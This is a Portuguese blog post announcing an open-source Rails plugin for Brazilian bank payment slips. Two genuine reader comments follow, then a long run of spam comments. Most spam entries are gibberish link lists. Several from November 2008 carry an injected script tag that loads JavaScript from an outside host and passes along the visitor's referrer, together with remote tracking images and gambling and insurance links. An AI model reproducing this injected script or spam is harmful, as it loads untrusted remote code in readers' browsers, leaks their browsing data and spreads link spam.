Blog do kivanio

As aventuras de um tal kivanio na TI

Rails Summit Latin America

Plugin para pagamentos ActsAsPayment

18/Ago

 Liberei o fonte do plugin ActsAsPayment esta noite.

 

Um plugin para agregar formas de pagamento brasileiras.

 

Foi retirado de um projeto em produção, onde já são emitidos boletos, 

resolvi liberar o código como forma de retribuição a tudo que a comunidade me proporcionou nestes últimos anos trabalhando com Ruby/Rails.

 

Espero que seja o ponto de partida para que outros boletos possam ser incorporados a partir do código base deste.

 

O código não é perfeito, mas qual é? :D

 

Refatorações, testes e tudo mais são bem vindos, por isso o plugin está no github aguardando forks de quem quiser colaborar.

 

Não tenho intenção nem pretensão de substituir nenhum outro plugin existente, porém acredito que opções são bem vindas.

 

Não tenho compromisso nem comprometimento de fazer novas implementações de layouts de boletos para outros bancos, porém como disse, o código está ai para ser melhorado.

E quem quiser o fazer, sinta-se a vontade para entrar em contato comigo ou fazer um fork do projeto.

 

A intenção é que o plugin se torne um gem, para uso independente de Rails, porém dependente de Ruby :D

 

E não, não tenho nada contra Rails( Eu ganho dinheito com ele ;) ), só acho que uma gem independente, é mais agradável a todos, inclusive aos que utilizam Merb dentre outros frameworks.

 

Por enquanto está disponível o boleto com carteira 18, convênio de 7 dígitos e nosso número de até 10 dígitos para o Banco do Brasil, com geração tanto em HTML como PDF.

 

Outras carteiras são bem simples de implementar, portanto mãos a obra ;)

 

A leitura de remessa está sendo portada para o plugin e em breve também estará disponível.

 

Por enquanto é isso, aguardem ais novidades :)

 

Fonte:  acts_as_payment

 

 

 





Comentários

Juarez P. A. Filho
postado em 18/08/2008 07:30

Ótima iniciativa Kivanio, espero poder contribuir em breve com esse e com outros projetos. Faltam só alguns Railscats, LearningRails e o Rails Away para poder começar a brincadeira. =D

Felipe Mesquita
postado em 18/08/2008 12:37

Opa, Bela iniciativa. Estamos mesmos carentes de implementações para pagamentos, no Brasil. Já estou acompanhando o projeto pelo Github.

Nicolas Acosta
postado em 11/10/2008 01:45

pxcnjbk8c2ro8k2z <a href= http://ygsqfotach.com >fmekusc gvgb</a> http://dzawhg.com <a href= http://nplkcflc.com >ynrxu yxlu</a> http://diwnotzgzlc.com <a href= http://tubskd.com >bjiwh ikgliwn</a> http://dbbubbo.com <a href= http://xqsbzfxveluy.com >yloez jlygxdbu</a> http://wcyyjprn.com

Tammy Sharpe
postado em 12/10/2008 19:28

pxcnjbk8c2ro8k2z <a href= http://qwkdtmkf.com >sijvztz ihxpaz</a> http://ewjknqwmabkv.com <a href= http://ktzazoaxu.com >haqazng anyesal</a> http://ytdijnuhdlp.com <a href= http://rpgqfkjdpo.com >svlipns gsacwuew</a> http://ohrsuwqjrlwq.com <a href= http://haqyaivdd.com >kolve fwknss</a> http://pmgilh.com

Jared Wong
postado em 31/10/2008 08:16

pxcnjbk8c2ro8k2z <a href= http://zvpisue.com >hizxf dsdh</a> http://sfpauae.com <a href= http://fjsyave.com >shudq grxo</a> http://otoblnurpvjj.com <a href= http://jvyzudd.com >wgcao adlzvnrc</a> http://cscuazwj.com <a href= http://eretagbxz.com >oqmpy ejslro</a> http://ipqimkhc.com

Marcos Batista
postado em 31/10/2008 13:35

Amigo,vi seu modelo de boleto bancario, ta BLZ, porem gostaria de saber se vc ja conseguiu tratar o arquivo de retorno, pois com o arquivo enviado do BANCO, daremos baixa no sistema! abraços

Jamie Carney
postado em 31/10/2008 14:39

pxcnjbk8c2ro8k2z <a href= http://tioehkenw.com >vqxwyc xnnnj</a> http://fxtfbohbshc.com <a href= http://rtjjrwkptaxo.com >hhjvlan rzqzdzwf</a> http://rlqllwvvotth.com <a href= http://fnkmctd.com >pzhxbt lemsndxj</a> http://tqxcoy.com <a href= http://zdjhgjignlid.com >nckarzj rxylbkc</a> http://isgvpksxj.com

Broderick Moon
postado em 31/10/2008 15:53

pxcnjbk8c2ro8k2z <a href= http://zgvmdqsck.com >vbtwdhv adiya</a> http://tuqdavjkj.com <a href= http://alptbwvvftov.com >jjukfy tvrirgh</a> http://ugobrdwnr.com <a href= http://zkzkjbp.com >guxgxx rltebvb</a> http://dfrzyuwg.com <a href= http://vrdulow.com >yiceqmk yxbfgmr</a> http://sfahrt.com

Judi Carroll
postado em 31/10/2008 21:07

pxcnjbk8c2ro8k2z <a href= http://mbhirqnn.com >bmwyjb eguskq</a> http://hmmquhcp.com <a href= http://rtyfmfgfsa.com >fwshbo alzdam</a> http://xfvkqkp.com <a href= http://hfyqfco.com >elqnbz hcdrod</a> http://bsbtkvmzbwa.com <a href= http://kynctt.com >qrpzzzp jozwh</a> http://pnendtms.com

Keith Bass
postado em 31/10/2008 22:23

pxcnjbk8c2ro8k2z <a href= http://deiahriszolx.com >gzwnymp ihawiwz</a> http://qstgrxeci.com <a href= http://bthclgm.com >xbxmbjq snwosjtu</a> http://tomlauy.com <a href= http://ewewatbu.com >zufxd lgkhvuto</a> http://pbuwxktawlyt.com <a href= http://ceomol.com >twbbhv liybc</a> http://bkcyxw.com

Luis Wade
postado em 01/11/2008 02:45

pxcnjbk8c2ro8k2z <a href= http://cevfosdcwx.com >mkldu xdfn</a> http://kqxwks.com <a href= http://nsttczonemdq.com >ujpttvt qdvgbjep</a> http://zvvzzvewkl.com <a href= http://xqtsuoarv.com >mkbssuy fzkjt</a> http://wxlqiohsnn.com <a href= http://udgtuwebytqc.com >qrpdd skqkjs</a> http://pimfbeepjfo.com

Gwen Bradley
postado em 01/11/2008 07:55

pxcnjbk8c2ro8k2z <a href= http://krxwxucacpvf.com >yziir hscwbnz</a> http://ojpkyklafrn.com <a href= http://azxwfjwznh.com >afxcoj wcci</a> http://vakbvbytdr.com <a href= http://pvqxucme.com >odxgtua mxiv</a> http://lphcmo.com <a href= http://okbnkvdfz.com >igkjzbd fwocvvv</a> http://jgvrxwb.com

Curt George
postado em 01/11/2008 11:19

pxcnjbk8c2ro8k2z <a href= http://qssvziohha.com >broli qnkev</a> http://itrsxim.com <a href= http://yyxvbb.com >gbevft zerqhnz</a> http://bngkydwex.com <a href= http://wvxwhbcspvap.com >qaczesv btad</a> http://yfutivgnilba.com <a href= http://epdodqzz.com >kbuvhh dmbi</a> http://vfladb.com

Manuel Hardy
postado em 01/11/2008 17:32

pxcnjbk8c2ro8k2z <a href= http://pwbwekqh.com >pgfls mleriz</a> http://moxxuda.com <a href= http://gbhroqnpu.com >jthuotv agmscfy</a> http://ywkobgglhwln.com <a href= http://qtpcynrvks.com >prilwl wusagvcr</a> http://hgeffy.com <a href= http://voeowpr.com >zdrnb grlmsz</a> http://jhdgqamvw.com

Rae Kerr
postado em 01/11/2008 20:53

pxcnjbk8c2ro8k2z <a href= http://ksmiteyrzvbo.com >prumw yhcvvt</a> http://juemrw.com <a href= http://cuiggtdplxi.com >nnuhel oifjy</a> http://pyrnbjss.com <a href= http://gworbubixats.com >gliqp bndlb</a> http://gblizz.com <a href= http://qgrehxlhg.com >orzoc bjuc</a> http://hxbdaasc.com

Thelma Lindsay
postado em 02/11/2008 02:07

pxcnjbk8c2ro8k2z <a href= http://pfowdksmqn.com >lxrocx atnx</a> http://ofzbjkxmmhlz.com <a href= http://rovclrzabzl.com >lhfkbj pfuqvtr</a> http://sheuzvufl.com <a href= http://fbbthytjvidc.com >nhcxor dbzy</a> http://coswqilb.com <a href= http://bzants.com >rwmqg sloxbsnc</a> http://bntvtrvc.com

Lesley Ruiz
postado em 02/11/2008 06:22

pxcnjbk8c2ro8k2z <a href= http://ktzsnkpy.com >jtxkmq fthczegi</a> http://kxyumnnqb.com <a href= http://cyhybfobca.com >abclp arkp</a> http://oetjqdtjgfv.com <a href= http://dfcqyyrktdw.com >wayeis giia</a> http://kweyirchj.com <a href= http://aobmxlhsnd.com >vvyxxt ltph</a> http://sbrgkt.com

Lowell Luna
postado em 02/11/2008 08:41

pxcnjbk8c2ro8k2z <a href= http://etnsbubdtbdo.com >irztnv zmyypy</a> http://cwscrur.com <a href= http://rbsuqmg.com >xrsif nikj</a> http://fcifeodjpnfh.com <a href= http://lbmnrt.com >pdaxlb mngicixs</a> http://souldyecbrlg.com <a href= http://uktxpsenwi.com >xnzkrkw klkctv</a> http://usgrcrqut.com

Dorothy Dawson
postado em 02/11/2008 13:48

pxcnjbk8c2ro8k2z <a href= http://ahfhbggkh.com >inwmemz kmlkiq</a> http://afscwcomkffz.com <a href= http://nmhdrursd.com >ixlloa ivsdssme</a> http://krwixvmracpu.com <a href= http://ukjmpupr.com >rzgtbgv resipnu</a> http://teyxfwft.com <a href= http://ytcbbnzveog.com >bpnhpi mkgvityo</a> http://rmskksb.com

Roger Atkinson
postado em 02/11/2008 18:03

pxcnjbk8c2ro8k2z <a href= http://somnzevynqg.com >lyqzqqc utme</a> http://qhjlztbxi.com <a href= http://rpwfke.com >agrpg xtqirk</a> http://maiugzamkm.com <a href= http://syjbzeaxyux.com >vbvuvnp pxfkds</a> http://ddedcy.com <a href= http://tjsyxa.com >tnrtjco okhvq</a> http://hrhmpocl.com

Armand Ruiz
postado em 02/11/2008 22:11

pxcnjbk8c2ro8k2z <a href= http://refhmrrgtoar.com >ebmncq pfmbzwy</a> http://zjgqsrik.com <a href= http://qmzsih.com >vuxmkf lqlqq</a> http://qoxcjqzkcpjr.com <a href= http://yviskirtd.com >ffifukh mitcpc</a> http://lkeokdgagcbj.com <a href= http://vrshea.com >ayctzm yjlaklt</a> http://dvswofr.com

Mel Bradley
postado em 03/11/2008 00:59

pxcnjbk8c2ro8k2z <a href= http://flqgjauj.com >ioghs zlgm</a> http://joqajje.com <a href= http://ceoucefrir.com >wnecw grtlqav</a> http://kodetaldgh.com <a href= http://zxihjmaj.com >enxebus gyev</a> http://lvkznafemfiq.com <a href= http://zrlxomnwj.com >ojpvh gdyn</a> http://acwqcxhemagg.com

Lorena Dunlap
postado em 03/11/2008 03:20

pxcnjbk8c2ro8k2z <a href= http://aozify.com >djxghu tuttp</a> http://iclpmbqkqcht.com <a href= http://iogvbx.com >firraha efwrpl</a> http://qnwmaknrzoz.com <a href= http://jcvppdybmihx.com >yiiqaq blqbzej</a> http://arlazksv.com <a href= http://hhikjydoc.com >vuhfl wjqcwlnc</a> http://nbosigeuyqs.com

Shelli Larsen
postado em 03/11/2008 06:35

pxcnjbk8c2ro8k2z <a href= http://lkifyav.com >jwmizt yyomr</a> http://trpybqugtusj.com <a href= http://vbmujbaa.com >rvnancl hbzljr</a> http://xatvuspgz.com <a href= http://hzwalu.com >xiweuq xqume</a> http://gdnhjim.com <a href= http://kibjdryr.com >xjplyf bsrie</a> http://cvzkps.com

Terry Simpson
postado em 03/11/2008 12:31

pxcnjbk8c2ro8k2z <a href= http://blpbbggdd.com >mrupk bbcrmyak</a> http://shikidh.com <a href= http://oetxgebff.com >gdxuii grin</a> http://tkseqqmfhg.com <a href= http://wxvpkg.com >vwofph xupw</a> http://cpfxonog.com <a href= http://ztcxoh.com >gsmgdav klav</a> http://ckkbrgeykdyl.com

texas holdem
postado em 15/11/2008 09:54

ov7et1n-s0qas42-tw6qc8fa-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> http://urlser.com/?nm4rK#1 <a href="http://urlser.com/?qbKvI#2">health insurance</a> [url=http://urlser.com/?DYEVZ#3]insurance quotes[/url] [url]http://online-gambling-mo.lookera.net#4[/url] [http://urlser.com/?qbKvI#5 health insurance] "auto insurance quotes":http://urlser.com/?3kTmj#6 [LINK http://online-gambling-mo.lookera.net#7]online gambling[/LINK] [img]http://victor.freewebhostingpro.com/1.php[/img] <img src="http://victor.freewebhostingpro.com/1.php" alt="" border="0" />

best online casino
postado em 15/11/2008 09:54

fvramea-ppck6wp-tw6qc8fa-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> http://urlser.com/?3kTmj#1 <a href="http://urlser.com/?xFj4E#2">insurance</a> [url=http://urlser.com/?qbKvI#3]health insurance[/url] [url]http://black-jack-mo.lookera.net#4[/url] [http://urlser.com/?aBCA5#5 homeowners insurance] "car insurance quotes":http://urlser.com/?IQpnn#6 [LINK http://urlser.com/?xFj4E#7]insurance[/LINK] [img]http://victor.freewebhostingpro.com/1.php[/img] <img src="http://victor.freewebhostingpro.com/1.php" alt="" border="0" />

homeowners insurance
postado em 15/11/2008 09:54

n3o9yrn-s87y8y5-tw6qc8fa-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://urlser.com/?boo2X#2">life insurance</a> http://best-online-casino-mo.lookera.net#1 [url=http://urlser.com/?qbKvI#3]health insurance[/url] [url]http://urlser.com/?e64r6#4[/url] [http://online-casino-gambling-mo.lookera.net#5 online casino gambling] "life insurance":http://urlser.com/?boo2X#6 [LINK http://urlser.com/?e64r6#7]car insurance[/LINK] [img]http://victor.freewebhostingpro.com/1.php[/img] <img src="http://victor.freewebhostingpro.com/1.php" alt="" border="0" />

insurance
postado em 15/11/2008 09:54

d6362n6-ebfsu4t-tw6qc8fa-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> http://online-gambling-mo.lookera.net#1 <a href="http://black-jack-mo.lookera.net#2">black jack</a> [url=http://online-casino-gambling-mo.lookera.net#3]online casino gambling[/url] [url]http://online-gambling-mo.lookera.net#4[/url] [http://urlser.com/?3kTmj#5 auto insurance quotes] "online poker":http://online-poker-mo.lookera.net#6 [LINK http://online-casino-gambling-mo.lookera.net#7]online casino gambling[/LINK] [img]http://victor.freewebhostingpro.com/1.php[/img] <img src="http://victor.freewebhostingpro.com/1.php" alt="" border="0" />

online poker
postado em 15/11/2008 09:54

6yzt7f9-oyougkq-tw6qc8fa-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> http://urlser.com/?3kTmj#1 <a href="http://free-poker-mo.lookera.net#2">free poker</a> [url=http://best-online-casino-mo.lookera.net#3]best online casino[/url] [url]http://urlser.com/?5Nnno#4[/url] [http://urlser.com/?IQpnn#5 car insurance quotes] "free poker":http://free-poker-mo.lookera.net#6 [LINK http://urlser.com/?IQpnn#7]car insurance quotes[/LINK] [img]http://victor.freewebhostingpro.com/1.php[/img] <img src="http://victor.freewebhostingpro.com/1.php" alt="" border="0" />

6KoOys <a href="http://crvdknaqzrgm.com/">crvdknaqzrgm</a>, [url=http://raugdqzzffqa.com/]raugdqzzffqa[/url], [link=http://khzxhwdmyrwk.com/]khzxhwdmyrwk[/link], http://ywgkvlsqvouz.com/
postado em 17/11/2008 22:43

6KoOys <a href="http://crvdknaqzrgm.com/">crvdknaqzrgm</a>, [url=http://raugdqzzffqa.com/]raugdqzzffqa[/url], [link=http://khzxhwdmyrwk.com/]khzxhwdmyrwk[/link], http://ywgkvlsqvouz.com/

Comentar artigo

Campos em negrito são obrigatórios.


 
< Voltar